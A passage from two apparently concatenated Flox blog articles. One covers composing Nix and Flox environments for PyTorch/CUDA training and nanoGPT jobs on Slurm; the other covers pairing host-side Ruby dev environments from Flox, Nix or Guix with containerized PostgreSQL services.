# RTX 4090 / RTX 6000 Ada: cudaCapabilities = [ "8.9" ]; # H100: cudaCapabilities = [ "9.0" ]; # # Mixed fleet example: # cudaCapabilities = [ "8.0" "8.9" "9.0" ]; }; }; getPackage = flake: system: name: if builtins.hasAttr "packages" flake && builtins.hasAttr system flake.packages && builtins.hasAttr name flake.packages.${system} then flake.packages.${system}.${name} else throw "Expected flake to expose packages.${system}.${name}"; in { devShells = forAllSystems (system: let pkgs = pkgsFor system; buildTools = getPackage build-env system "default"; pytorchRuntime = getPackage pytorch-runtime system "runtime"; cudaTools = lib.optionals (isCudaSystem system) [ (getPackage cuda-dev-essentials system "default") ]; cudaPkgs = pkgs.cudaPackages; cudaRuntimeLibs = lib.optionals (isCudaSystem system) [ pkgs.stdenv.cc.cc.lib cudaPkgs.cuda_cudart cudaPkgs.libcublas cudaPkgs.cudnn cudaPkgs.cuda_cupti cudaPkgs.nccl ]; cudaIncludeDirs = lib.optionals (isCudaSystem system) [ "${cudaPkgs.cuda_cudart}/include" "${cudaPkgs.libcublas}/include" "${cudaPkgs.cudnn}/include" "${cudaPkgs.nccl}/include" ]; cudaLibraryDirs = lib.optionals (isCudaSystem system) [ "${cudaPkgs.cuda_cudart}/lib" "${cudaPkgs.libcublas}/lib" "${cudaPkgs.cudnn}/lib" "${cudaPkgs.cuda_cupti}/lib" "${cudaPkgs.nccl}/lib" ]; in { default = pkgs.mkShell { packages = [ pkgs.uv buildTools pytorchRuntime ] ++ cudaTools; # Use the Python interpreter from the PyTorch runtime layer so the # venv can inherit torch and related runtime packages. PYTHON_FOR_VENV = "${pytorchRuntime}/bin/python3"; shellHook = '' export SSL_CERT_FILE=${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt export NIX_SSL_CERT_FILE=${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt '' + lib.optionalString (isCudaSystem system) '' export CUDA_HOME=${cudaPkgs.cuda_nvcc} export CUDA_PATH=$CUDA_HOME export LD_LIBRARY_PATH=${lib.makeLibraryPath cudaRuntimeLibs}''${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH} export CPATH=${lib.concatStringsSep ":" cudaIncludeDirs}''${CPATH:+:$CPATH} export LIBRARY_PATH=${lib.concatStringsSep ":" cudaLibraryDirs}''${LIBRARY_PATH:+:$LIBRARY_PATH} '' + '' export ML_TRAINING_CACHE="$PWD/.cache/ml-training" export ML_TRAINING_VENV="$ML_TRAINING_CACHE/venv" export UV_CACHE_DIR="$ML_TRAINING_CACHE/uv" export PIP_CACHE_DIR="$ML_TRAINING_CACHE/pip" mkdir -p "$ML_TRAINING_CACHE" "$UV_CACHE_DIR" "$PIP_CACHE_DIR" ml_training_setup() { venv="$ML_TRAINING_VENV" if [ ! -d "$venv" ]; then uv venv "$venv" \ --python "$PYTHON_FOR_VENV" \ --system-site-packages || return 1 fi if [ -f "$venv/bin/activate" ]; then . "$venv/bin/activate" fi if [ ! -f "$ML_TRAINING_CACHE/.training_deps_installed" ]; then uv pip install --python "$venv/bin/python" --quiet \ numpy datasets tokenizers transformers accelerate \ safetensors tensorboard scikit-learn tqdm pyyaml \ fastapi uvicorn || return 1 touch "$ML_TRAINING_CACHE/.training_deps_installed" || return 1 fi python - <<'PY' import torch print("torch:", torch.__version__) print("cuda available:", torch.cuda.is_available()) if torch.cuda.is_available(): print("cuda device:", torch.cuda.get_device_name(0)) if hasattr(torch.backends, "mps"): print("mps available:", torch.backends.mps.is_available()) PY } ml_training_setup ''; }; }); }; } ``` ### With Flox The model-training Flox environment composes the foundational PyTorch runtime with separate build and CUDA development environments declared using Flox **`[include]`** s. On Linux/NVIDIA CUDA, the included **`flox-labs/cuda-dev-essentials`** environment pulls in CUDA development dependencies, while the **`flox-labs/build-env`** environment provides GCC. macOS platforms (using Metal or MLX) skip CUDA and pull in **`clang`** from **`flox-labs/build-env`**, plus other platform-appropriate dependencies. On both macOS and Linux, the manifest **`[hook]`** installs **`uv`**, defines cache-backed virtual environment and package-cache paths under **`$FLOX_ENV_CACHE`**, activates the project-local Python venv, and installs the model-training Python dependencies on top of the shared PyTorch runtime: ```toml schema-version = "1.12.0" [install] uv.pkg-path = "uv" [vars] ML_TRAINING_VENV = "$FLOX_ENV_CACHE/venv" UV_CACHE_DIR = "$FLOX_ENV_CACHE/uv" PIP_CACHE_DIR = "$FLOX_ENV_CACHE/pip" [hook] on-activate = ''' ml_training_setup() { venv="$FLOX_ENV_CACHE/venv" if [ ! -d "$venv" ]; then uv venv "$venv" --python python3 fi if [ -f "$venv/bin/activate" ]; then source "$venv/bin/activate" fi if [ ! -f "$FLOX_ENV_CACHE/.training_deps_installed" ]; then uv pip install --python "$venv/bin/python" --quiet \ numpy datasets tokenizers transformers accelerate \ safetensors tensorboard scikit-learn tqdm pyyaml \ fastapi uvicorn touch "$FLOX_ENV_CACHE/.training_deps_installed" fi } ml_training_setup ''' [include] environments = [ { remote = "flox-labs/build-env" }, { remote = "flox-labs/cuda-dev-essentials" }, { remote = "flox-labs/pytorch-runtime" } ] ``` The **`[include]`** section is specific to Flox. It fulfills a function similar to the Nix flake’s top-level **`inputs`** set in that it declares the external inputs (in this case, other Flox manifests) that the composed environment will consume as dependencies. The difference has to do with the unit of composition: Nix fetches and locks the flake **`[inputs]`**, then passes them to the **`[outputs]`** function. The _flake author_ decides how to use those inputs to produce packages, dev shells, apps, containers, or other outputs. By contrast, the **`[include]`** section in the Flox manifest references other manifests, which _Flox_ determines how to merge into the composing manifest. This eliminates the requirement to author and maintain wiring to compose these inputs, at the cost of slightly less control than a Nix flake. The Nix flake expects to consume its flake inputs from GitHub; this Flox manifest composes remote FloxHub environments. It’s a minor difference, but probably worth calling out. ### The end result With both Nix and Flox, an ML/AI researcher using an M5 MacBook Pro gets the following stack: ```markdown | Environment | What resolves | |---|---| | `pytorch-runtime` | Python 3.13 + MPS-accelerated PyTorch | | `cuda-dev-essentials` | *Nothing*: all packages restricted to Linux | | `build-env` | clang, cmake, coreutils, GNU userland | | `model-training` | uv, venv, numpy, transformers, etc. | ``` While an ML/AI researcher working with CUDA (locally or on a GPU cluster) gets: ```markdown | Environment | What resolves | |---|---| | `pytorch-runtime` | Python 3.13 + CUDA-accelerated PyTorch | | `cuda-dev-essentials` | nvcc, cudart, cublas, cudnn, nccl, profiler, debugger | | `build-env` | gcc, gcc-unwrapped, glibc, cmake | | `model-training` | uv, venv, numpy, transformers, etc. | ``` Researchers can prototype or trail locally, emitting a **`checkpoint.pt`* and a **`runtime.json`**, then upload or copy them to an artifact registry or model store. The **`runtime.json`** travels with the model. ## Batch Model Training Slurm by itself doesn't address the core challenge of getting every node in a cluster to run against the same ML/AI runtime, with the same dependency graph and the same versions of CUDA, Python, and other finicky dependencies. In the wild, users rely on **`module load`** commands to assemble the right CUDA, Python, compilers, libraries, and other dependencies. But module definitions are notorious for drifting across login and compute nodes: the command **`module load cuda/12.8 python/3.12`** can (and often does) resolve differently across a cluster. Containerized ML workflows on Slurm often use HPC container runtimes like Singularity or Apptainer; these improve reproducibility, but must be configured for each cluster’s runtime setup, security policy, GPU/MPI settings, and Slurm conventions. Alternatives like Conda have drawbacks too: Conda environments that bake in a large number of CUDA and Python dependencies can take a long time to resolve. Teams cannot copy a working Conda environment to a new prefix (i.e., path) and expect it to keep working. Unless every node sees the same shared environment path, teams typically need to add a separate packaging or distribution step. So modules, HPC container runtimes, and Conda add operational layers on top of the ML/AI workload. ### nanoGPT on Slurm A composed Nix or Flox ML stack runs **as-is** on Slurm clusters, with the proviso that Nix or Flox are available on each node. You can run this stack from a single shared environment (accessible cluster-wide via NFS), or independently on each GPU node. No matter how you do it, Nix and Flox ensure each node gets the same packages and the same runtime environment, with the same env vars and secrets. The following sub-sections show how this works with an example [nanoGPT](https://github.com/karpathy/nanogpt) training job. Both the Nix and Flox environments consume two or more input environments (cross-platform PyTorch; Linux-only CUDA dev; cross-platform Python / general-purpose dev) to compose a single unified ML stack environment. Allowing for the tutorial-specific **`config.sh`** wrapper (see below), Nix and Flox drop into the normal operating model for HPC systems. Submit jobs from the login node with **`sbatch`**. Slurm schedules the data prep, training, sampling, and eval jobs using standard **`sbatch –dependency`** job rules. But each job script runs its workload with Nix or Flox, so every node in the cluster gets the same pinned runtime. ### Getting started First [clone the repo](https://github.com/flox/nanogpt-slurm), then change into the **`nanogpt-slurm`** directory and edit the **`config.sh`** script. This defines a **`run_in_env`** helper that dispatches to Flox or Nix based on what’s set in **`ENV_MANAGER`**. It makes it possible for the same Slurm scripts to run with either Flox or Nix. In a real-world deployment, you wouldn’t need this; rather, you’d pick Nix or Flox and call it directly. **Note**: Clone this repo into a filesystem that’s visible across both the login node and the Slurm compute nodes, such as a shared NFS or GPFS mount. The job scripts source **`config.sh`** at runtime, so **`config.sh`** and any training code referenced by the scripts must be available on the compute node when the job starts. If your cluster does not provide a shared filesystem, stage the repo onto the compute node yourself, either by cloning it as part of the job script; copying it to node-local scratch; or using **`sbcast`**. Another viable pattern is to use the Nix or Flox environment to provide tools like **`git`**, Python, CUDA, and PyTorch, and then to create an activation hook that clones a pinned revision of the training repo into **`$SLURM_TMPDIR`** before running the training command. ```bash # Environment manager: "flox" or "nix" ENV_MANAGER="${ENV_MANAGER:-flox}" # Flox: FloxHub environment path (e.g., "youruser/nanogpt-slurm") # Push your environment first: flox auth login && flox push NANOGPT_FLOX_ENV="${NANOGPT_FLOX_ENV:-youruser/nanogpt-slurm}" # Nix: Flake reference (GitHub repo, branch, pinned rev, or local path) NANOGPT_FLAKE="${NANOGPT_FLAKE:-github:flox/ml-ai-lifecycle?dir=model-training}" # Helper: run a command inside the chosen environment. # Usage: run_in_env bash -c '...' run_in_env() { if [ "$ENV_MANAGER" = "nix" ]; then nix develop "$NANOGPT_FLAKE" --command "$@" else flox activate -r "$NANOGPT_FLOX_ENV" -- "$@" fi } ``` In this repo, every job script sources **`config.sh`** and calls: ```bash source config.sh run_in_env bash -c '...' ``` ### If you plan to use Nix 1. Edit **`config.sh`** and switch to Nix mode: ```bash ENV_MANAGER="nix" NANOGPT_FLAKE="github:flox/ml-ai-lifecycle?dir=model-training" ``` The flake reference can be any valid flake URL: ```markdown | Form | Example | |------|---------| | GitHub repo (default) | `github:flox/ml-ai-lifecycle?dir=model-training ` | | Specific branch | `github:flox/ml-ai-lifecycle/main?dir=model-training` | | Pinned revision | `github:flox/ml-ai-lifecycle/?dir=model-training` | | Local path | `path:/shared/nfs/ml-ai-lifecycle?dir=model-training` | ``` 2. Verify on the login node: ```bash nix develop "$NANOGPT_FLAKE" --command python3 -c "import torch; print(torch.cuda.is_available())" ``` **Note**: Consider configuring Nix binary substitution before running Slurm jobs at scale! Without a binary cache or shared Nix store, each GPU node must build CUDA dependencies the first time it runs the job. For PyTorch and other ML stacks, this can take an extremely long time: up to several hours. Alternatively, if you use the Nix package manager, you can pull pre-built, pre-patched CUDA-accelerated packages from Flox’s binary cache. Just add Flox as an extra substituter in **`nix.conf`**, like so: ``` extra-substituters = https://cache.flox.dev extra-trusted-public-keys = flox-cache-public-1:7F4OyH7ZCnFhcze3fJdfyXYLQw/aV7GEed86nQ7IsOs= ``` ### If you plan to use Flox 1. Edit config.sh to set your FloxHub username 2. Run **`flox push`** to publish the environment to FloxHub. This way the Slurm GPU node pulls it dynamically at runtime. 3. Verify on the login node: ```bash flox activate -r flox-labs/model-training -- python3 -c "import torch; print(torch.cuda.is_available())" ``` Compute nodes pull the environment by name at job start. No further setup needed on each node. ### Running Slurm Jobs with Nix and/or Flox Once **`config.sh`** is configured for either Nix or Flox, submitting Slurm jobs looks the same. Each script in **./`jobs/`** is a standard Slurm batch script (with **`#SBATCH`** headers for resources like GPUs, CPUs, time limits). When a compute node runs the job, it does: ```bash source config.sh # get Nix flake ref nix develop "$NANOGPT_FLAKE" --command \ # realize/enter the Nix dev shell python3 train.py ... # run nanoGPT inside that env OR source config.sh # get FloxHub env name flox activate -r "$NANOGPT_FLOX_ENV" -- \ # pull env from FloxHub, activate it python3 train.py ... # run nanoGPT inside that env ``` The first job set runs a Shakespeare smoke test to validate the setup. Paste this on the login node: ```bash PREP=$(sbatch --parsable jobs/shakespeare-prep.sh) # CPU: tokenize data TRAIN=$(sbatch --parsable --dependency=afterok:$PREP jobs/shakespeare-train.sh) # GPU: train sbatch --dependency=afterok:$TRAIN jobs/shakespeare-sample.sh # GPU: generate text ``` This trains a small (~10M parameter) model and usually finishes in 10 minutes or fewer: **GPT-2 124M pipeline** GPT-2 training uses the same Nix and/or Flox dependencies, just with _much_ longer-running jobs. This workflow requires us to make a decision about which dataset we want to use: **Train on GPU** (≈10-20 hours / ≈100GB disk) ```bash TRAIN=$(sbatch --parsable --dependency=afterok:$PREP jobs/gpt2-train.sh) ``` Before submitting, check **`batch_size`** and **`gradient_accumulation_steps`** in **`jobs/gpt2-train.sh`** against your GPU's VRAM. The defaults target 32 GB (A100, RTX 5090): ```markdown | VRAM | GPUs | `batch_size` | `gradient_accumulation_steps` | |------|------|:------------:|:-----------------------------:| | 40-80 GB | A100, H100 | 32 | 16 | | 32 GB | RTX 5090 | 16 | 32 | | 24 GB | RTX 4090, A5000 | 12 | 43 | | 16 GB | RTX 4080, T4 | 8 | 64 | | 8-12 GB | RTX 3080, RTX 4060 | 4 | 128 | ``` The two values should satisfy **`batch_size`** * **`gradient_accumulation_steps`** * **`1024`** ≈ **`524,288`**. (Some rows round slightly due to integer constraints). A smaller **`batch_size`** means you need more gradient accumulation steps to compensate, so training takes longer but uses less VRAM. Once you've tweaked those, submit the whole pipeline at once on the login node: ```bash # Pick one dataset: PREP=$(sbatch --parsable jobs/openwebtext-prep.sh) # Option A: OpenWebText (~2-4 hrs, ~20 GB) # PREP=$(sbatch --parsable jobs/fineweb-prep.sh) # Option B: FineWeb-Edu 10BT (~4-6 hrs, ~40 GB) # Train TRAIN=$(sbatch --parsable --dependency=afterok:$PREP jobs/gpt2-train.sh) # Inference (both wait for training, then run) sbatch --dependency=afterok:$TRAIN jobs/gpt2-sample.sh sbatch --dependency=afterok:$TRAIN jobs/gpt2-eval.sh ``` Allowing for the tutorial-specific **`config.sh`** wrapper, Nix and Flox drop into the normal operating model for shared HPC systems. Submit jobs from the login node with **`sbatch`**. Slurm schedules the data prep, training, sampling, and eval jobs using standard **`sbatch –dependency`** job rules. But each job script runs its workload with Nix or Flox, so every node in the cluster gets the same pinned runtime. ## Promote models like software packages Working with declared, graph-backed technologies like Nix and Flox gives teams a straightforward path from training → eval → CI → prod. They can reuse modular Nix or Flox environments as inputs for other environments, composing them to create ML/AI stacks. After batch training, teams can make use of this same pattern to compose modular environments for evaluation, benchmarking, checkpoint packaging, and release gating. Similarly, platform teams can compose their own Nix or Flox environments for staging, serving, canaries, observability, and production rollout. Everybody starts with the Nix/Flox PyTorch and/or CUDA diagnostic environments and compose them with their own use-case specific environments. But because Nix and Flox are **reproducible build systems** they make it staightforward to package, publish, and pull software, too. (Full disclosure: Flox inherits this virtuous behavior from Nix.) So when training needs to hand off to eval, it can use Nix or Flox to package the checkpoint, model code, tokenizer assets, metadata, and runtime inputs before publishing it to a binary cache or to its private Flox Catalog. But why do this? Because with declared, graph-backed technologies, all of the transitive dependencies that software needs in order to run get packaged along with it. So instead of saying “Here’s **`checkpoint.pt`**; have fun tracking down the right Python, PyTorch, CUDA, tokenizer, and so on!”, ML/AI researchers package and publish their model artifacts with the dependency graphs needed to use them. Eval declares these packages in their own environments, reuses the PyTorch runtime, and gets everything it needs to score the model. CI pulls eval’s scored model package, runs its release gates, and publishes an approved artifact. MLOps registers that artifact, attaches release metadata, and promotes it. Platform teams can declare the package as an input to a container build, or use Nix/Flox to generate OCI images. Declared technologies like Nix or Flox are not in any sense a panacea for ML work. But this pattern replaces the most error-prone part of the ML/AI lifecycle: the handoff. The result is a more regular promotion cycle: package the artifact, publish it, declare it downstream, and promote by reference. Title: A Pattern for Local Dev: Runtime on the Host, Services in Containers Source: https://flox.dev/blog/a-pattern-for-local-dev-runtime-on-the-host-services-in-containers/ Date: 2026-06-04 Category: engineering # A Pattern for Local Dev: Runtime on the Host, Services in Containers Run project runtimes on your local machine with Nix, Guix, or Flox, let containers handle PostgreSQL, Redis, and other services. Get fast, reproducible local dev that travels from laptop to CI to production ... and back again. Declared, graph-backed technologies like [Nix](https://nixos.org/guides/how-nix-works/), [Flox](https://flox.dev/docs/), or [GNU Guix](https://guix.gnu.org/) give teams a way to create and share [standardized development environments](https://flox.dev/blog/standardized-development-environments-explained/) that run directly on each engineer’s local machine, not in containers or VMs. All three technologies declare the build or runtime environment as a set of specified inputs; each resolves these inputs deterministically via a package graph that also encompasses their transitive dependencies. In this way, a declared environment makes the project runtime a **versioned artifact** that teams can share, review, reproduce, and promote. Even though Nix, Flox, and Guix are distinct alternatives to **dev containers**, many orgs prefer to pair them with the containers they use to run backing services. This pattern makes a lot of sense: - Teams build and test locally against the same backing services a project will run against in production; - The split itself enforces a clear boundary between the project runtime and backing services. This article is a deep dive on how this works. ## A Proven Pattern for Local Development The pattern itself is inspired by one that Ryan Schlesinger, engineering lead with [detaso](https://detaso.com/), uses with his team. It’s a complementary scheme in which a standardized dev environment (Flox) provides the project runtime (e.g., the language toolchains, libraries, build tools, etc. that teams use to build locally) while containers run PostgreSQL, Redis, and other backing services. The article is _not_ specific to Flox, however; we also walk through equivalent patterns for Nix and Guix. All feature a Rails application backed by PostgreSQL. Flox, Nix, and Guix provide the Ruby development runtime on the host, while containers run the database and any other required services. We work with Ruby, but the same pattern can be applied to any language, toolchain, or stack. ## Standardized Dev Environments and Containers: The Best of Both Worlds Ryan likes this pattern because he says that pairing a declared, graph-backed environment like Flox with services running in containers gives his team the best of both models: - The team gets a declared, reproducible project runtime that feels native; - Teams run the same kinds of supporting services locally that they use in CI and production; - Team leads like Ryan can version and manage both the declared runtimes and OCI images. The point is an **equitable division of labor**: teams build locally, inside host-local standardized dev environments; backing services (like databases) run in containers. Teams no longer need mount their projects into containers, configure networking, or inject env vars and secrets. They can define and run Flox-, Nix-, or Guix-defined services. They connect to containerized services via client tools and host/port settings defined in the Flox, Nix, or Guix environment. ### Prerequisites and setup This tutorial assumes that one of Flox, Nix, or Guix is already installed and configured. First, run **`git clone https://github.com/flox/traveling-ruby`**. Next, change into **`./traveling-ruby`**. You’ll find a Flox environment (defined in **`flox/env/manifest.toml`**), a Nix flake, and the two artifacts that comprise a Guix environment, **`manifest.scm`** and **`setup-env.sh`**, inside the repo. ### With Flox Change into **`./traveling-ruby`** and run **`flox edit`**. This opens the manifest in your default editor. Let's first look at the **`[install]`** section: ```toml [install] # Language runtime ruby.pkg-path = "ruby" # Ruby 3.4.x — the app runtime # Database client (for pg gem compilation and CLI tools like psql) postgresql.pkg-path = "postgresql" # PostgreSQL client libs + psql CLI # Native library dependencies (required for gem compilation) libyaml.pkg-path = "libyaml" # Required by psych gem (YAML parsing) # Build toolchain (for compiling native gem extensions) # On macOS, gcc from nixpkgs is a broken clang wrapper that can't find the SDK. # Use clang on darwin, gcc on linux. clang.pkg-path = "clang" # C compiler for macOS native extensions clang.systems = ["aarch64-darwin", "x86_64-darwin"] gcc.pkg-path = "gcc" # C compiler for Linux native extensions gcc.systems = ["aarch64-linux", "x86_64-linux"] gnumake.pkg-path = "gnumake" # Make for native extension builds pkg-config.pkg-path = "pkg-config" # Finds library paths for compilation # production runtime dependencies cacert.pkg-path = "cacert" # CA certificates for HTTPS requests tzdata.pkg-path = "tzdata" # Time zone data for local/dev parity # Developer utilities gum.pkg-path = "gum" # Styled terminal output; you'd skip this for minimal envs # Cross-platform compatibility coreutils.pkg-path = "coreutils" # GNU coreutils (consistent across OS) gnused.pkg-path = "gnused" # GNU sed (macOS ships BSD sed) ``` Two dozen lines of TOML define the environment's entire dependency surface. When you share this environment, either by co-locating it with your project code in a Git repository or by **`flox push`**-ing it to [FloxHub](https://flox.dev/docs/concepts/floxhub/), every developer who activates this environment gets the same Ruby, the same PostgreSQL client libraries, and the same **`libyaml`**, regardless of whether they are working on an M3 MacBook or an x86-64 Linux laptop. There's no Homebrew-managed toolchain to drift; no global installation to break things; no **`README`** that's chronically, hopelessly out of date. There's only a declarative manifest (**`manifest.toml`**) and the lockfile (**`manifest.lock`**) that pins the package versions defined in it. The **`[hook]`** section sets the runtime config via environment variables. It defines sensible defaults: ```bash export PSQL_HOST="${PSQL_HOST:-localhost}" export PSQL_PORT="${PSQL_PORT:-5432}" export PSQL_USER="${PSQL_USER:-postgres}" ``` To point at a different database, simply override these defaults at runtime: **`PSQL_HOST=10.0.1.5 flox activate`**. The rest of the hook (gem path setup, dependency installation, a status banner message) uses modular, idempotent functions to hydrate and bootstrap the environment. ### With Nix Change into **`./traveling-ruby`** and open **`flake.nix`**. This is the Nix flake that declares the development environment. The flake pins its **`nixpkgs`** input to the exact same commit that the Flox lockfile uses, so both environments resolve to the same package versions. The **`devShells`** output defines a shell for each supported platform: ```nix nativeBuildInputs = with pkgs; [ pkg-config gnumake ] ++ (if isDarwin then [ clang ] else [ gcc ]); # Libraries — mkShell propagates dev outputs (headers, .pc files) buildInputs = with pkgs; [ libyaml postgresql ]; # Runtime support and developer/operator tools packages = with pkgs; [ ruby cacert tzdata gum coreutils gnused ] ++ pkgs.lib.optionals isDarwin [ pkgs.orbstack ]; ``` Nix breaks up packages into three discrete categories that the Flox manifest handles implicitly. **`nativeBuildInputs`** defines build tools: **`pkg-config`**, **`gnumake`**, and the platform-appropriate C compiler. **`buildInputs`** defines libraries the outputs of which (headers, **`.pc`** files) Nix automatically wires into **`PKG_CONFIG_PATH`** and **`CPATH`**. **`packages`** defines runtime tools that go onto **`PATH`**. The **`shellHook`** replicates the Flox **`[hook]`** and **`[profile]`** sections: it sets database connection defaults, configures the Ruby/Bundler gem paths, defines the same aliases (**`be`**, **`rs`**, **`rc`**, **`dbup`**, **`dbdown`**, **`dbreset`**), and prints the same **`gum`**-styled welcome banner: ```nix shellHook = '' export PSQL_HOST="''${PSQL_HOST:-localhost}" export PSQL_PORT="''${PSQL_PORT:-5432}" export PSQL_USER="''${PSQL_USER:-postgres}" export PSQL_PASSWORD="''${PSQL_PASSWORD:-postgres}" export PSQL_DATABASE="''${PSQL_DATABASE:-rails_poc_development}" export DATABASE_URL="''${DATABASE_URL:-postgres://$PSQL_USER:$PSQL_PASSWORD@$PSQL_HOST:$PSQL_PORT/$PSQL_DATABASE}" export BUNDLE_PATH="$PWD/vendor/bundle" export BUNDLE_BIN="$PWD/bin" export PATH="$PWD/bin:$PATH" alias be="bundle exec" alias rs="bundle exec rails server" alias rc="bundle exec rails console" alias dbup="./scripts/db-up" alias dbdown="./scripts/db-down" alias dbreset="./scripts/db-reset" ''; ``` To enter the environment: ```bash cd traveling-ruby nix develop ``` Nix evaluates the flake, fetches any missing packages from the [Nix binary cache](https://cache.nixos.org/), and drops you right into a dev shell with everything on **`PATH`**. To override database defaults at runtime, set them before entering the shell: **`DATABASE_HOST=10.0.1.5 nix develop`**. The flake lockfile (**`flake.lock`**, generated automatically on first run) pins the **`nixpkgs`** revision: a Git commit. This pins the enviornment’s complete set of dependencies to a snapshot of the **`nixpkgs`** package set, so future evaluations always use the same package definitions. By committing both **`flake.nix`** and **`flake.lock`** to the repository, every engineer who runs **`nix develop`** works in the same environment with the same toolchain: today, tomorrow, next year, even five years from now. ### With GNU Guix Change into **`./traveling-ruby`**. The Guix environment uses two files: **`manifest.scm`**, which declares the packages, and **`setup-env.sh`**, which initializes the shell. Open **`manifest.scm`**: ```scheme (use-modules (gnu packages) (guix profiles)) (packages->manifest (list ;; Language runtime (specification->package "ruby@3.4") ; Ruby 3.4.x - the app runtime ;; Database client / pg build support (specification->package "postgresql@16") ; PostgreSQL client libs + psql CLI ;; Native library dependencies (specification->package "libyaml") ; Required by psych/YAML-related native extensions ;; Build toolchain for native gem extensions ;; Guix is Linux-focused, so use gcc-toolchain here rather than a Darwin clang/gcc split. (specification->package "gcc-toolchain") ; C compiler/toolchain for native extensions (specification->package "make") ; GNU Make (specification->package "pkg-config") ; Finds library paths for compilation ;; Runtime support / local-dev parity (specification->package "nss-certs") ; CA certificates, Guix equivalent of cacert (specification->package "tzdata") ; Time zone data ;; Cross-platform compatibility / developer utilities (specification->package "coreutils") ; GNU coreutils (specification->package "sed"))) ; GNU sed ``` Eight lines of Guile Scheme declare the same dependency surface that the Flox manifest and Nix flake cover. Guix resolves packages from its own package collection (a curated set of free software), so the versions differ slightly: this environment pulls in Ruby 3.4.7 instead of 3.4.8, and (a more significant variance) PostgreSQL 16.4 instead of 17.9. One package from the Flox manifest and Nix flake has no Guix equivalent: **`gum`** (the Charmbracelet terminal styling tool) is not packaged in Guix. The gap between PostgreSQL v16.4 and PostgreSQL v17.9 probably doesn’t matter: The Guix-provided v16.4 client (**`psql`**, **`libpq`**, headers) will talk to v17.x without issues; the PostgreSQL wire protocol is backward-compatible. So **`pg`** gem should compile and link against **`libpq`** from v16.4 just fine. The companion **`setup-env.sh`** script replicates the Flox **`[hook]`** and **`[profile]`** sections: database connection defaults, Ruby/Bundler gem paths, all six aliases, and the **`bundle()`** wrapper that auto-generates binstubs. It detects whether **`gum`** is available and falls back to plain **`echo`** for the welcome banner if it is not. ```bash export PSQL_HOST="${PSQL_HOST:-localhost}" export PSQL_PORT="${PSQL_PORT:-5432}" export PSQL_USER="${PSQL_USER:-postgres}" export PSQL_PASSWORD="${PSQL_PASSWORD:-postgres}" export PSQL_DATABASE="${PSQL_DATABASE:-rails_poc_development}" export DATABASE_URL="${DATABASE_URL:-postgres://${PSQL_USER}:${PSQL_PASSWORD}@${PSQL_HOST}:${PSQL_PORT}/${PSQL_DATABASE}}" export BUNDLE_PATH="$PWD/vendor/bundle" export BUNDLE_BIN="$PWD/bin" export PATH="$PWD/bin:$PATH" alias be="bundle exec" alias rs="bundle exec rails server" alias rc="bundle exec rails console" alias dbup="./scripts/db-up" alias dbdown="./scripts/db-down" alias dbreset="./scripts/db-reset" ``` To enter the environment: ```bash cd traveling-ruby guix shell -m manifest.scm source setup-env.sh ``` **Note**: On first entry, Guix may warn that your **`.bashrc`** clobbers **`PATH`**. If it does, move your **`PATH`** modifications from **`.bashrc`** to **`.bash_profile`**. (This is the best long-term fix.) You can ignore this warning if the Guix-declared packages take precedence inside the environment. Verify this with, e.g., **`which ruby`**. The **`guix shell -m manifest.scm`** command builds (or fetches from the Bordeaux substitute server) every package in the manifest and drops you into a shell with them on **`PATH`**. The **`source setup-env.sh`** command sets up any project-specific environment variables, aliases, and banner. Unlike Flox and Nix, Guix does not have a built-in shell hook mechanism in its manifest format, so the setup script is a separate step. Like the logic in Flox’s **`[hook]`** section, and the inline shell script in the Nix flake, **`setup-env.sh`** is implemented in bash. By committing both **`channels.scm`** and **`setup-env.sh`** to the repository, every engineer who clones the repo and runs **`setup-env.sh`** works in the same Guix environment with the same toolchain. One thing to note is that Guix doesn’t generate a separate lockfile; instead, its reproducibility guarantee is contingent on pinning to a specific Guix channel revision in **`channels.scm`**. Without this pin, two engineers can run the same Guix manifest and pull differing package versions, depending on when each last ran **`guix pull`**. ## Why Services Get an Explicit Boundary This pattern runs backing services, like PostgreSQL, in containers. This makes sense: engineers don't need to work “inside” Postgres' runtime boundary. They aren’t debugging migrations, optimizing query plans, tuning indexes, or running tests; rather, they just need to connect to Postgres’ external interface. They access this the same way their projects do: using **`psql`**, ORMs, Ruby's **`pg`** driver, migration tools, or SQL clients like JDBC. The standardized dev environment itself declares the environment variables they need to connect to services: host, port, socket, credentials, database name, schema, etc. In this pattern, the project repo versions and manages the code along with its runtime dependencies: the language toolchain, build tools, database clients, etc. The standardized dev environment also defines the environment variables and helper aliases the project runtime uses to connect to its backing services. To power these services, teams need merely BYOCD: bring your own Compose Definition: ```yaml services: postgres: image: postgres:17-alpine container_name: postgres ports: - "${PSQL_PORT:-5432}:5432" environment: POSTGRES_USER: "${PSQL_USER:-postgres}" POSTGRES_PASSWORD: "${PSQL_PASSWORD:-postgres}" POSTGRES_DB: "ruby_development" volumes: - pgdata:/var/lib/postgresql/data - ./db/init:/docker-entrypoint-initdb.d:ro healthcheck: test: ["CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB"] interval: 5s timeout: 3s retries: 5 volumes: pgdata: ``` The same **`PSQL_*`** variables appear in the project environment’s declarative definition and in the Compose file. In Flox, these variables get declared in **`[vars]`** or **`[hook]`**; in Nix, they get declared in a **`devShell`** or **`shellHook`**; in Guix, they get declared in the command or wrapper that’s used to enter the project shell. The mechanism varies, but both the behavior and the DevX are similar. ## Working inside the Declared Dev Environment Regardless of whether you use Flox, Nix, or Guix, activating the environment does the same things: * **Places the declared toolchain on `PATH`.** Ruby, the PostgreSQL client (**`psql`**), the GNU or Clang C compiler, **`make`**, **`pkg-config`**, and all other dependencies all resolve to the environment's declared package set, not to their equivalents on the host machine. Every engineer gets the same tools. * **Configures the Ruby/Bundler gem paths.** **`GEM_HOME`**, **`BUNDLE_PATH`**, and **`BUNDLE_BIN`** point to a project-local cache directory so gems install in isolation. This avoids **`sudo gem install`**, prevents collisions with system Ruby (if installed), and doesn’t pollute **`~/.gems`**. * **Sets database connection defaults.** **`DATABASE_HOST`**, **`DATABASE_PORT`**, **`DATABASE_USER`**, and **`DATABASE_PASSWORD`** get sensible defaults that match the Compose file: **`localhost`**, **`5432`**, etc. Engineers can also override any of these at activation. * **Prints a status banner.** This consists of an at-a-glance summary of the Ruby version, database coordinates, and available scripts confirms that the environment is active and correctly configured. All three environments also **register aliases and helper functions** for common tasks: ```markdown | Alias | Expands to | |---|---| | `be` | `bundle exec` | | `rs` | `bundle exec rails server -b 0.0.0.0` | | `rc` | `bundle exec rails console` | | `dbup` | `scripts/db-up` — starts the PostgreSQL Docker container and 